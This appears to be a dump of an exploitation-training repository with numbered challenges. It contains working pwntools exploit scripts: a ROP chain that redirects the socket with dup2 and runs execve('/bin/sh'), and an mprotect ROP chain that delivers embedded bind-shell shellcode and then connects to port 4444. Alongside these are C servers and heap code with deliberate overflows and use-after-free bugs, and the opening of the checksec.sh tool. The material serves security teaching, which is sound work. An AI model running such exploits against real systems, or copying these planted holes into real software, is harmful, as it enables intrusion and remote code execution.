0x0000000000400eb1: pop rsi; pop r15; ret; 25 | pop_rsi_r15 = 0x0000000000400eb1 26 | 27 | # 0x0000000000400c93: syscall; ret; 28 | syscall = 0x0000000000400c93 29 | 30 | # 0x00000000004009a0: pop rbp; ret; 31 | pop_rbp = 0x00000000004009a0 32 | 33 | # 0x0000000000400c8e: mov dword ptr [rbp - 8], eax; pop rax; ret; 34 | mov_ptr_rbp_eax = 0x0000000000400c8e 35 | 36 | # the string "/bin/sh" as two 4-byte integer in little endian 37 | binsh1 = 0x6e69622f 38 | binsh2 = 0x0068732f 39 | 40 | def write2mem(data, location): 41 | chain = "" 42 | 43 | chain += p64( pop_rax ) 44 | chain += p64( data ) 45 | 46 | chain += p64( pop_rbp ) 47 | chain += p64( location + 8) 48 | 49 | chain += p64( mov_ptr_rbp_eax) 50 | chain += p64( 0xdeadbeef1 ) # pop rax 51 | 52 | return chain 53 | 54 | 55 | def doBof(payload): 56 | print tube.recvuntil("> ") 57 | tube.send("1"); 58 | 59 | print tube.recv() 60 | tube.send(str(len(payload))); 61 | 62 | print tube.recv() 63 | tube.send(payload) 64 | 65 | print tube.recv() 66 | 67 | tube.interactive() 68 | 69 | 70 | payload = "A" * offset 71 | 72 | # write "/bin/sh" to sh_addr 73 | # the write2mem gadget uses "eax", 4 bytes, 74 | # so we have to write the string as 2 x 4 bytes 75 | payload += write2mem(binsh1, sh_addr) 76 | payload += write2mem(binsh2, sh_addr+4) 77 | 78 | 79 | # Start ROP chain 80 | 81 | # dup2() syscall is 33 82 | 83 | # dup2(4, 0) 84 | payload += p64 ( pop_rax ) 85 | payload += p64 ( 33 ) 86 | payload += p64 ( pop_rdi ) 87 | payload += p64 ( 4 ) 88 | payload += p64 ( pop_rsi_r15) 89 | payload += p64 ( 0 ) 90 | payload += p64 ( 0xdeadbeef1 ) 91 | payload += p64 ( syscall ) 92 | 93 | 94 | # dup2(4, 1) 95 | payload += p64 ( pop_rax ) 96 | payload += p64 ( 33 ) 97 | payload += p64 ( pop_rdi ) 98 | payload += p64 ( 4 ) 99 | payload += p64 ( pop_rsi_r15) 100 | payload += p64 ( 1 ) 101 | payload += p64 ( 0xdeadbeef2 ) 102 | payload += p64 ( syscall ) 103 | 104 | 105 | # dup2(4, 2) 106 | payload += p64 ( pop_rax ) 107 | payload += p64 ( 33 ) 108 | payload += p64 ( pop_rdi ) 109 | payload += p64 ( 4 ) 110 | payload += p64 ( pop_rsi_r15) 111 | payload += p64 ( 2 ) 112 | payload += p64 ( 0xdeadbeef3 ) 113 | payload += p64 ( syscall ) 114 | 115 | 116 | # execve 117 | payload += p64 ( pop_rdi ) 118 | payload += p64 ( sh_addr ) 119 | payload += p64 ( pop_rsi_r15 ) 120 | payload += p64 ( 0x6020e0 ) 121 | payload += p64 ( 0xdeadbeef4 ) 122 | payload += p64 ( pop_rax) 123 | payload += p64 ( 59 ) 124 | payload += p64 ( syscall ) 125 | 126 | # if it crashes here (rip=0x41414141), 127 | # something went wrong. the syscall did not 128 | # execute correctly. 129 | payload += p64 ( 0x41414141 ) 130 | 131 | doBof(payload) 132 | 133 | -------------------------------------------------------------------------------- /challenge14/challenge14-server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include /* memset() */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define PORT "32001" /* Port to listen on */ 12 | #define BACKLOG 10 /* Passed to listen() */ 13 | 14 | /* Signal handler to reap zombie processes */ 15 | static void wait_for_child(int sig) 16 | { 17 | while (waitpid(-1, NULL, WNOHANG) > 0); 18 | } 19 | 20 | 21 | void handleData(char *data, int len) { 22 | char buf[16]; 23 | memcpy(buf, data, len); 24 | printf("Received: %i bytes\n", len); 25 | } 26 | 27 | void handle(int newsock) 28 | { 29 | char buf[128]; 30 | int ret; 31 | while( (ret = read(newsock, buf, 128)) > 0) { 32 | handleData(buf, ret); 33 | printf ("Send: OK\n"); 34 | send(newsock, "ok", 2, 0); 35 | } 36 | } 37 | 38 | int main(void) 39 | { 40 | int sock; 41 | struct sigaction sa; 42 | struct addrinfo hints, *res; 43 | int reuseaddr = 1; /* True */ 44 | 45 | /* Get the address info */ 46 | memset(&hints, 0, sizeof hints); 47 | hints.ai_family = AF_INET; 48 | hints.ai_socktype = SOCK_STREAM; 49 | if (getaddrinfo(NULL, PORT, &hints, &res) != 0) { 50 | perror("getaddrinfo"); 51 | return 1; 52 | } 53 | 54 | /* Create the socket */ 55 | sock = socket(res->ai_family, res->ai_socktype, res->ai_protocol); 56 | if (sock == -1) { 57 | perror("socket"); 58 | return 1; 59 | } 60 | 61 | /* Enable the socket to reuse the address */ 62 | if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr, sizeof(int)) == -1) { 63 | perror("setsockopt"); 64 | return 1; 65 | } 66 | 67 | /* Bind to the address */ 68 | if (bind(sock, res->ai_addr, res->ai_addrlen) == -1) { 69 | perror("bind"); 70 | return 1; 71 | } 72 | 73 | /* Listen */ 74 | if (listen(sock, BACKLOG) == -1) { 75 | perror("listen"); 76 | return 1; 77 | } 78 | 79 | freeaddrinfo(res); 80 | 81 | /* Set up the signal handler */ 82 | sa.sa_handler = wait_for_child; 83 | sigemptyset(&sa.sa_mask); 84 | sa.sa_flags = SA_RESTART; 85 | if (sigaction(SIGCHLD, &sa, NULL) == -1) { 86 | perror("sigaction"); 87 | return 1; 88 | } 89 | 90 | printf("Listening to port: %s\n", PORT); 91 | 92 | /* Main loop */ 93 | while (1) { 94 | struct sockaddr_in their_addr; 95 | socklen_t size = sizeof(struct sockaddr_in); 96 | int newsock = accept(sock, (struct sockaddr*)&their_addr, &size); 97 | int pid; 98 | 99 | if (newsock == -1) { 100 | perror("accept"); 101 | return 0; 102 | } 103 | 104 | printf("Got a connection from %s on port %d\n", inet_ntoa(their_addr.sin_addr), 105 | htons(their_addr.sin_port)); 106 | 107 | pid = fork(); 108 | if (pid == 0) { 109 | /* In child process */ 110 | close(sock); 111 | handle(newsock); 112 | return 0; 113 | } 114 | else { 115 | /* Parent process */ 116 | if (pid == -1) { 117 | perror("fork"); 118 | return 1; 119 | } 120 | else { 121 | close(newsock); 122 | } 123 | } 124 | } 125 | 126 | close(sock); 127 | 128 | return 0; 129 | } 130 | 131 | -------------------------------------------------------------------------------- /challenge15/challenge15.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | // Only included so we have the symbol for system() 16 | void notcalled() { 17 | system("nothing"); 18 | } 19 | 20 | int checkPassword(char *password) { 21 | char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx."; 22 | char *hash = crypt(password, "$6$saaaaalty"); 23 | if (strcmp(hash, adminHash) == 0) { 24 | return 1; 25 | } else { 26 | return 0; 27 | } 28 | } 29 | 30 | int handleData(char *username, char *password) { 31 | int isAdmin = 0; 32 | char name[256]; 33 | 34 | isAdmin = checkPassword(password); 35 | strcpy(name, username); 36 | 37 | // This line is a NOP, but will populate RDI with the address of "username" 38 | // Without it, RDI would point to name[], which gets destroyed by system() 39 | memcpy(username, username, strlen(username)); 40 | 41 | if(isAdmin > 0) { 42 | return 1; 43 | } else { 44 | return 0; 45 | } 46 | } 47 | 48 | void handleClient (int socket) { 49 | char username[1024]; 50 | char password[1024]; 51 | 52 | bzero(username, sizeof(username)); 53 | bzero(password, sizeof(password)); 54 | 55 | write(socket, "Username: ", 10); 56 | read(socket, username, 1023); 57 | 58 | write(socket, "Password: ", 10); 59 | read(socket, password, 1023); 60 | 61 | int ret = handleData(username, password); 62 | if (ret) { 63 | write(socket, "You are admin", 13); 64 | } else { 65 | write(socket, "Not admin.", 10); 66 | } 67 | } 68 | 69 | 70 | int makeServer(int portno) { 71 | int sockfd, newsockfd, clilen; 72 | char buffer[256]; 73 | struct sockaddr_in serv_addr, cli_addr; 74 | int n, pid; 75 | 76 | signal(SIGCHLD, SIG_IGN); 77 | 78 | bzero((char *) &serv_addr, sizeof(serv_addr)); 79 | serv_addr.sin_family = AF_INET; 80 | serv_addr.sin_addr.s_addr = INADDR_ANY; 81 | serv_addr.sin_port = htons(portno); 82 | 83 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 84 | if (sockfd < 0) { 85 | perror("ERROR opening socket"); 86 | exit(1); 87 | } 88 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 89 | perror("ERROR on binding"); 90 | exit(1); 91 | } 92 | if (listen(sockfd, 5) < 0) { 93 | perror("ERROR on listen"); 94 | exit(1); 95 | } 96 | 97 | return sockfd; 98 | } 99 | 100 | 101 | int main( int argc, char *argv[] ) { 102 | struct sockaddr_in cli_addr; 103 | int clilen = sizeof(cli_addr); 104 | int port = 5001; 105 | 106 | printf("Starting server on port: %i\n", port); 107 | int serverSocket = makeServer(port); 108 | while (1) { 109 | int newsockfd = accept(serverSocket, (struct sockaddr *) &cli_addr, &clilen); 110 | if (newsockfd < 0) { 111 | perror("ERROR on accept"); 112 | exit(1); 113 | } 114 | printf("Client connected\n"); 115 | 116 | int pid = fork(); 117 | if (pid < 0) { 118 | perror("ERROR on fork"); 119 | exit(1); 120 | } 121 | if (pid == 0) { 122 | /* This is the client process */ 123 | close(serverSocket); 124 | handleClient(newsockfd); 125 | exit(0); 126 | } else { 127 | close(newsockfd); 128 | } 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /challenge16/exp-challenge16.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import time 4 | import struct 5 | import sys 6 | import argparse 7 | from pwn import * 8 | 9 | # http://shell-storm.org/shellcode/files/shellcode-78.php 10 | shellcode = b"" 11 | shellcode += b"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2" 12 | shellcode += b"\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c" 13 | shellcode += b"\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05" 14 | shellcode += b"\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89" 15 | shellcode += b"\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f" 16 | shellcode += b"\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" 17 | shellcode += b"\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" 18 | shellcode += b"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" 19 | shellcode += b"\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"; 20 | 21 | 22 | gdbStr = ''' 23 | set follow-fork-mode child 24 | {} 25 | continue 26 | ''' 27 | 28 | def main(): 29 | print("Dont forget to start the server in the background") 30 | context.update(arch='amd64', os='linux') 31 | 32 | parser = argparse.ArgumentParser() 33 | parser.add_argument("--offset", type=int, required=True) 34 | parser.add_argument("--address", type=str) 35 | parser.add_argument("--keep", default=False, action='store_true') 36 | parser.add_argument("--gdb", nargs='?', default="", type=str) 37 | args = parser.parse_args() 38 | 39 | io = remote("localhost", 5001) 40 | gdb.attach(io, gdbStr.format(args.gdb)) 41 | 42 | if args.address is None: 43 | print("--[ Send pattern") 44 | pattern = makePattern(args.offset) 45 | print(hexdump(pattern, skip=False)) 46 | 47 | io.sendafter(b"Data: ", pattern) 48 | io.recvall() 49 | 50 | return 51 | 52 | else: 53 | print("--[ Send exploit") 54 | exploit = makeExploit(args.offset, int(args.address, 16), buf_size=256) 55 | print(hexdump(exploit, skip=False)) 56 | 57 | io.sendafter(b"Data: ", exploit) 58 | if args.keep: 59 | io.recvall() 60 | checkShell() 61 | return 62 | 63 | 64 | def makePattern(offset): 65 | pattern = b'XXXX' 66 | pattern += b'A' * (offset - 4) 67 | pattern += b'BBBB' # RIP 68 | return pattern 69 | 70 | 71 | def makeExploit(offset, address, buf_size=128, nop=b'\x90'): 72 | alignedAddr = (address & ~(4096-1)); 73 | 74 | exploit = nop * (buf_size - len(shellcode)) 75 | exploit += shellcode 76 | exploit += b'A' * (offset - len(exploit)) 77 | 78 | # next 8 bytes in exploit point on SIP 79 | 80 | exploit += p64 ( 0x446ef3 ) # 0x446ef3: pop rax; ret; 81 | exploit += p64 ( 10 ) # syscall sys_mprotect 82 | 83 | exploit += p64 ( 0x40178e ) # 0x40178e: pop rdi; ret; 84 | exploit += p64 ( alignedAddr ) # mprotect arg: addr 85 | 86 | exploit += p64 ( 0x4078be ) # 0x4078be: pop rsi; ret; 87 | exploit += p64 ( 4096 ) # mprotect arg: size 88 | 89 | exploit += p64 ( 0x4016ab ) # 0x4016ab: pop rdx; ret; 90 | exploit += p64 ( 0x7 ) # protect arg: permissions 91 | 92 | exploit += p64 ( 0x4150cc ) # 0x40120b: syscall; ret 93 | 94 | exploit += p64 ( address ) # continue here, at shellcode 95 | 96 | return exploit 97 | 98 | 99 | def checkShell(): 100 | time.sleep(0.5) 101 | try: 102 | ioShell = remote("127.0.0.1", 4444) 103 | ioShell.interactive() 104 | except Exception as e: 105 | print("Error: Remote shell not started.") 106 | pass 107 | 108 | 109 | if __name__ == '__main__': 110 | main() 111 | -------------------------------------------------------------------------------- /challenge33/http.c: -------------------------------------------------------------------------------- 1 | #include "mongoose.h" 2 | #include "http.h" 3 | 4 | // An authenticated user 5 | struct t_authenticated { 6 | int role; 7 | char sessionid[128]; 8 | void (*logout_handler)(); 9 | }; 10 | 11 | // Only supports 1 authenticated user for now 12 | struct t_authenticated *Authenticated; 13 | 14 | 15 | // REST: /ping 16 | void rest_ping(struct mg_connection *c, struct http_message *hm) { 17 | int len = (int)hm->query_string.len; 18 | 19 | printf("Ping\n"); 20 | printf(" Allocating: %i = len\n", len); 21 | 22 | // Answer - copy query_string and send it back 23 | void* qs = malloc(len); 24 | memcpy(qs, hm->query_string.p, hm->query_string.len); 25 | 26 | mg_send_head(c, 200, len, "Content-Type: text/plain"); 27 | mg_send(c, qs, len); 28 | 29 | free(qs); 30 | } 31 | 32 | 33 | #define RESPONSE_LEN 128 34 | // REST: /login 35 | void rest_login(struct mg_connection *c, struct http_message *hm) { 36 | char response[RESPONSE_LEN]; 37 | 38 | printf("Login\n"); 39 | 40 | // Malloc and init for Authenticated struct 41 | Authenticated = malloc(sizeof(struct t_authenticated)); 42 | Authenticated->logout_handler = &logout_handler; 43 | Authenticated->role = 23; 44 | strcpy(Authenticated->sessionid, "5"); // chosen by a fair dice roll 45 | printf(" Allocated for t_authenticated %li(0x%lx) at %p\n", 46 | sizeof(struct t_authenticated), sizeof(struct t_authenticated), Authenticated); 47 | 48 | strncpy(response, Authenticated->sessionid, 8); 49 | 50 | mg_send_head(c, 200, RESPONSE_LEN, "Content-Type: text/plain"); 51 | mg_send(c, response, RESPONSE_LEN); 52 | } 53 | 54 | 55 | // REST: /logout 56 | void rest_logout(struct mg_connection *c, struct http_message *hm) { 57 | char response[512]; 58 | 59 | // Debug 60 | printf("Logout\n"); 61 | printf(" Authenticated:\n"); 62 | printf(" role : 0x%x\n", Authenticated->role); 63 | printf(" sessionid : %s\n", Authenticated->sessionid); 64 | printf(" Logout handler: %p\n", Authenticated->logout_handler); 65 | 66 | // Send answer 67 | sprintf(response, "Logout %i\r\n", Authenticated->role); 68 | mg_send_head(c, 200, strlen(response), "Content-Type: text/plain"); 69 | mg_printf(c, "%s", response); 70 | 71 | // Cleanup 72 | (*Authenticated->logout_handler)(); 73 | free(Authenticated); 74 | } 75 | 76 | 77 | void logout_handler(void) { 78 | printf(" Logout event handler\n"); 79 | // Lets clean up later 80 | } 81 | 82 | 83 | void rest_auth(struct mg_connection *c, struct http_message *hm) { 84 | char response[512]; 85 | void *bla; 86 | void *bla2; 87 | int len = 250; 88 | 89 | // Answer 90 | strcpy(response, "Authed\r\n"); 91 | 92 | // HEAP 93 | bla = malloc(len); 94 | bla2 = malloc(len); 95 | printf("Allocated1 0x%x at %p\n", len, bla); 96 | printf("Allocated2 0x%x at %p\n", len, bla2); 97 | 98 | mg_send_head(c, 200, strlen(response), "Content-Type: text/plain"); 99 | mg_printf(c, "%s", response); 100 | } 101 | 102 | 103 | int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 104 | if (Size == 0) { 105 | return 0; 106 | } 107 | 108 | uint8_t api = Data[0]; 109 | Data += 1; 110 | Size -= 1; 111 | 112 | // Init data structures 113 | struct http_message hm; 114 | hm.query_string.p = (const char*) Data; 115 | hm.query_string.len = Size; 116 | 117 | struct mg_connection c; 118 | struct mbuf out; 119 | mbuf_init(&c.send_mbuf, 0); 120 | 121 | // API 122 | api = api % 3; 123 | //printf("Api: %i", api); 124 | switch(api) { 125 | case 0: 126 | rest_ping(&c, &hm); 127 | break; 128 | case 1: 129 | rest_login(&c, &hm); 130 | break; 131 | case 2: 132 | rest_logout(&c, &hm); 133 | break; 134 | } 135 | 136 | return 0; 137 | } -------------------------------------------------------------------------------- /challenge31/noteheap-model.c: -------------------------------------------------------------------------------- 1 | 2 | #include "noteheap-model.h" 3 | 4 | /* All data is stored in this global struct */ 5 | struct Global global; 6 | 7 | 8 | /* And initialized here */ 9 | void modelInit() { 10 | global.id = 0; 11 | global.alarmId = 0; 12 | 13 | bzero(global.todos, sizeof(global.todos)); 14 | bzero(global.alarms, sizeof(global.alarms)); 15 | } 16 | 17 | 18 | /*************************************************/ 19 | 20 | void alarmCleanupFunction() { 21 | // Not yet implemented, waiting for business case 22 | printf(" cleanup function running"); 23 | } 24 | 25 | 26 | void alarmAdd(char *alarmName) { 27 | Alarm *alarm; 28 | 29 | alarm = malloc(sizeof(Alarm)); 30 | alarm->name = strdup(alarmName); 31 | alarm->cleanupFunction = &alarmCleanupFunction; 32 | alarm->id = global.alarmId++; 33 | 34 | global.alarms[alarmGetFreeEntryIndex()] = alarm; 35 | 36 | printf("Added alarm (\"%s\", %x)\n", 37 | alarmName, alarm->id); 38 | } 39 | 40 | 41 | void alarmList() { 42 | int n = 0; 43 | Alarm *alarm; 44 | 45 | alarm = global.alarms[n]; 46 | 47 | printf("Alarm: %i\n", n); 48 | printf(" Name: %s\n", alarm->name); 49 | printf(" gid: 0x%x\n", alarm->id); 50 | } 51 | 52 | 53 | void alarmDel(int alarmIndex) { 54 | Alarm *alarm; 55 | 56 | alarm = global.alarms[alarmIndex]; 57 | global.alarms[alarmIndex] = NULL; 58 | 59 | free(alarm->name); 60 | alarm->cleanupFunction(); 61 | free(alarm); 62 | 63 | printf("Alarm %i deleted", alarmIndex); 64 | } 65 | 66 | 67 | /*************************************************/ 68 | 69 | 70 | void todoAdd(char *listName, char *todoPrio, char *todoBody) { 71 | Todo *todo; 72 | int listIndex = -1; 73 | int listEntryIndex = -1; 74 | 75 | todo = (Todo*) malloc(sizeof(Todo)); 76 | todo->body = strdup(todoBody); 77 | todo->priority = atoi(todoPrio); 78 | todo->id = global.id++; 79 | 80 | listIndex = listNameToIndex(listName); 81 | if (listIndex < 0) { 82 | return; 83 | } 84 | 85 | listEntryIndex = listGetFreeEntryIndex(listIndex); 86 | global.todos[listIndex][listEntryIndex] = todo; 87 | 88 | printf("Todo added to list %s as nr %i (prio 0x%x, body: \"%s\")\n", 89 | listName, listEntryIndex, todo->priority, todo->body); 90 | } 91 | 92 | 93 | void todoEdit(char *listName, char *listEntryIndex, char *todoPrio, char *todoBody) { 94 | Todo *todo; 95 | int listIndex = -1; 96 | int listEntry = -1; 97 | 98 | listIndex = listNameToIndex(listName); 99 | listEntry = atoi(listEntryIndex); 100 | 101 | todo = global.todos[listIndex][listEntry]; 102 | 103 | todo->body = strdup(todoBody); 104 | todo->priority = atoi(todoPrio); 105 | 106 | printf("Todo %s:%i modified (prio 0x%x, body: \"%s\")\n", 107 | listName, listIndex, todo->priority, todo->body); 108 | } 109 | 110 | 111 | void todoPrint(Todo *todo) { 112 | if (todo->body != NULL) { 113 | printf(" body: %s\n", todo->body); 114 | printf(" prio: 0x%x\n", todo->priority); 115 | printf(" guid: 0x%x\n", todo->id); 116 | } else { 117 | printf(" body: NULL\n"); 118 | printf(" prio: 0x%x\n", todo->priority); 119 | printf(" guid: 0x%x\n", todo->id); 120 | } 121 | } 122 | 123 | 124 | /*************************************************/ 125 | 126 | 127 | void listView(char *listName) { 128 | int listIndex = -1; 129 | Todo *todo; 130 | 131 | listIndex = listNameToIndex(listName); 132 | if (listIndex < 0) { 133 | return; 134 | } 135 | 136 | printf("View List: %s\n", listName); 137 | for(int n=0; nbody); 165 | free(todo); 166 | global.todos[listIndex][listEntryIndex] = NULL; 167 | 168 | printf("Deleted entry %i on list %s\n", 169 | listEntryIndex, listName); 170 | } 171 | 172 | 173 | void listAdd(char *dstListName, char *srcListName, char *srcListEntryIndex) { 174 | int dstList; 175 | int dstListEntry; 176 | int srcList; 177 | int srcListEntry; 178 | 179 | dstList = listNameToIndex(dstListName); 180 | if (dstList < 0) { 181 | printf("Destination list does not exist: %s\n", dstListName); 182 | return; 183 | } 184 | dstListEntry = listGetFreeEntryIndex(dstList); 185 | 186 | srcList = listNameToIndex(srcListName); 187 | if (srcList < 0) { 188 | printf("Source list does not exist: %s\n", dstListName); 189 | return; 190 | } 191 | srcListEntry = atoi(srcListEntryIndex); 192 | 193 | global.todos[dstList][dstListEntry] = global.todos[srcList][srcListEntry]; 194 | 195 | printf("Added todo from %s:%s to %s:%i\n", 196 | srcListName, srcListEntryIndex, dstListName, dstListEntry); 197 | } 198 | 199 | 200 | int listNameToIndex(char *listName) { 201 | if (strcmp(listName, "work") == 0) { 202 | return 0; 203 | } 204 | 205 | if (strcmp(listName, "private") == 0) { 206 | return 1; 207 | } 208 | 209 | return -1; 210 | } 211 | 212 | 213 | int listGetFreeEntryIndex(int listIndex) { 214 | for(int n=0; n \n"); 288 | printf(" todo edit : \n"); 289 | } 290 | 291 | 292 | void cmdHelpList() { 293 | printf("List:\n"); 294 | printf(" todolist view \n"); 295 | printf(" todolist add :\n"); 296 | printf(" todolist del \n"); 297 | } 298 | 299 | 300 | void cmdHelpAlarm() { 301 | printf("Alarm:\n"); 302 | printf(" alarm add \n"); 303 | printf(" alarm list\n"); 304 | printf(" alarm view \n"); 305 | printf(" alarm del \n"); 306 | } 307 | 308 | 309 | void cmdHelp() { 310 | printf("Noteheap:\n"); 311 | cmdHelpTodo(); 312 | printf("\n"); 313 | cmdHelpList(); 314 | printf("\n"); 315 | cmdHelpAlarm(); 316 | printf("\n"); 317 | } 318 | -------------------------------------------------------------------------------- /challenge60/checksec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # The BSD License (http://www.opensource.org/licenses/bsd-license.php) 4 | # specifies the terms and conditions of use for checksec.sh: 5 | # 6 | # Copyright (c) 2014-2015, Brian Davis 7 | # Copyright (c) 2013, Robin David 8 | # Copyright (c) 2009-2011, Tobias Klein 9 | # All rights reserved. 10 | # 11 | # Redistribution and use in source and binary forms, with or without 12 | # modification, are permitted provided that the following conditions 13 | # are met: 14 | # 15 | # * Redistributions of source code must retain the above copyright 16 | # notice, this list of conditions and the following disclaimer. 17 | # * Redistributions in binary form must reproduce the above copyright 18 | # notice, this list of conditions and the following disclaimer in 19 | # the documentation and/or other materials provided with the 20 | # distribution. 21 | # * Neither the name of Tobias Klein nor the name of trapkit.de may be 22 | # used to endorse or promote products derived from this software 23 | # without specific prior written permission. 24 | # 25 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 26 | # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 27 | # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 28 | # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 29 | # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 30 | # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 31 | # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS 32 | # OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 33 | # AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 34 | # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF 35 | # THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH 36 | # DAMAGE. 37 | # 38 | # --- Modified Version --- 39 | # Name : checksec.sh 40 | # Version : 1.7.0 41 | # Author : Brian Davis 42 | # Date : Feburary 2014 43 | # Download: https://github.com/slimm609/checksec.sh 44 | # 45 | # --- Modified Version --- 46 | # Name : checksec.sh 47 | # Version : based on 1.5 48 | # Author : Robin David 49 | # Date : October 2013 50 | # Download: https://github.com/RobinDavid/checksec 51 | # 52 | # --- Original version --- 53 | # Name : checksec.sh 54 | # Version : 1.5 55 | # Author : Tobias Klein 56 | # Date : November 2011 57 | # Download: http://www.trapkit.de/tools/checksec.html 58 | # Changes : http://www.trapkit.de/tools/checksec_changes.txt 59 | 60 | #set global lang to C 61 | export LC_ALL="C" 62 | 63 | # global vars 64 | debug=false 65 | have_readelf=1 66 | verbose=false 67 | format="cli" 68 | SCRIPT_NAME="checksec" 69 | SCRIPT_URL="https://github.com/slimm609/checksec.sh/raw/master/${SCRIPT_NAME}" 70 | SIG_URL="https://github.com/slimm609/checksec.sh/raw/master/$(basename ${SCRIPT_NAME} .sh).sig" 71 | SCRIPT_VERSION=2018012401 72 | SCRIPT_MAJOR=1 73 | SCRIPT_MINOR=8 74 | SCRIPT_REVISION=0 75 | pkg_release=false 76 | 77 | if [[ $(id -u) != 0 ]]; then 78 | export PATH=$PATH:/sbin/:/usr/sbin/ 79 | fi 80 | 81 | sysarch=$(uname -m) 82 | if [[ "$sysarch" == "x86_64" ]]; then 83 | arch="64" 84 | elif [[ "$sysarch" == "i?86" ]]; then 85 | arch="32" 86 | elif [[ "$sysarch" =~ "arm" ]]; then 87 | arch="arm" 88 | fi 89 | 90 | #openssl public key for verification of updates 91 | read -r PUBKEY < /dev/null 2>&1; 108 | } 109 | 110 | # Fetch the update 111 | fetch() { 112 | if type wget > /dev/null 2>&1 ; then 113 | $debug && echo "fetching update via wget" 114 | wget --no-check-certificate -O "${2}" "${1}" >/dev/null 2>&1 115 | elif type curl > /dev/null 2>&1 ; then 116 | $debug && echo "fetching update via curl" 117 | curl --insecure --remote-name -o "${2}" "${1}" >/dev/null 2>&1 118 | else 119 | echo 'Warning: Neither wget nor curl is available. online updates unavailable' >&2 120 | exit 1 121 | fi 122 | } 123 | 124 | # version information 125 | version() { 126 | echo "checksec v${SCRIPT_MAJOR}.${SCRIPT_MINOR}.${SCRIPT_REVISION}, Brian Davis, github.com/slimm609/checksec.sh, Dec 2015" 127 | echo "Based off checksec v1.5, Tobias Klein, www.trapkit.de, November 2011" 128 | echo 129 | } 130 | 131 | # help 132 | help() { 133 | echo "Usage: checksec [--output {cli|csv|xml|json}] [OPTION]" 134 | echo 135 | echo 136 | echo "Options:" 137 | echo 138 | echo " --file (-f) " 139 | echo " --dir (-d) [-v]" 140 | echo " --proc (-p) " 141 | echo " --proc-all (-pa)" 142 | echo " --proc-libs (-pl) " 143 | echo " --kernel (-k) [kconfig]" 144 | echo " --fortify-file (-ff)" 145 | echo " --fortify-proc (-fp) " 146 | echo " --version" 147 | echo " --help" 148 | if ! $pkg_release; then 149 | echo " --update" 150 | fi 151 | echo 152 | echo "For more information, see:" 153 | echo " http://github.com/slimm609/checksec.sh" 154 | echo 155 | } 156 | 157 | #run help if nothing is passed 158 | if [[ $# -lt 1 ]]; then 159 | help 160 | exit 1 161 | fi 162 | 163 | echo_message() { 164 | if [[ $format == "csv" ]]; then 165 | echo -n -e "$2" 166 | elif [[ $format == "xml" ]]; then 167 | echo -n -e "$3" 168 | elif [[ $format == "json" ]]; then 169 | echo -n -e "$4" 170 | else #default to cli 171 | echo -n -e "$1" 172 | fi 173 | } 174 | 175 | # check selinux status 176 | getsestatus() { 177 | $debug && echo -e "\n***fuction getsestatus" 178 | if (command_exists getenforce); then 179 | $debug && echo "***fuction getsestatus->getenforce" 180 | sestatus=$(getenforce) 181 | if [[ "$sestatus" == "Disabled" ]]; then 182 | status=0 183 | elif [[ "$sestatus" == "Permissive" ]]; then 184 | status=1 185 | elif [[ "$sestatus" == "Enforcing" ]]; then 186 | status=2 187 | fi 188 | elif (command_exists sestatus); then 189 | $debug && echo "***fuction getsestatus->sestatus" 190 | sestatus=$(sestatus | grep "SELinux status" | awk '{ print $3}') 191 | if [[ "$sestatus" == "disabled" ]]; then 192 | status=0 193 | elif [[ "$sestatus" == "enabled" ]]; then 194 | sestatus2=$(sestatus | grep "Current" | awk '{ print $3}') 195 | if [[ "$sestatus2" == "permissive" ]]; then 196 | status=1 197 | elif [[ "$sestatus2" == "enforcing" ]]; then 198 | status=2 199 | fi 200 | fi 201 | fi 202 | return $status 203 | } 204 | 205 | # check if directory exists 206 | dir_exists () { 207 | $debug && echo "fuction dir_exists" 208 | if [[ -d "$1" ]] ; then 209 | return 0 210 | else 211 | return 1 212 | fi 213 | } 214 | 215 | # check user privileges 216 | root_privs () { 217 | $debug && echo "***function 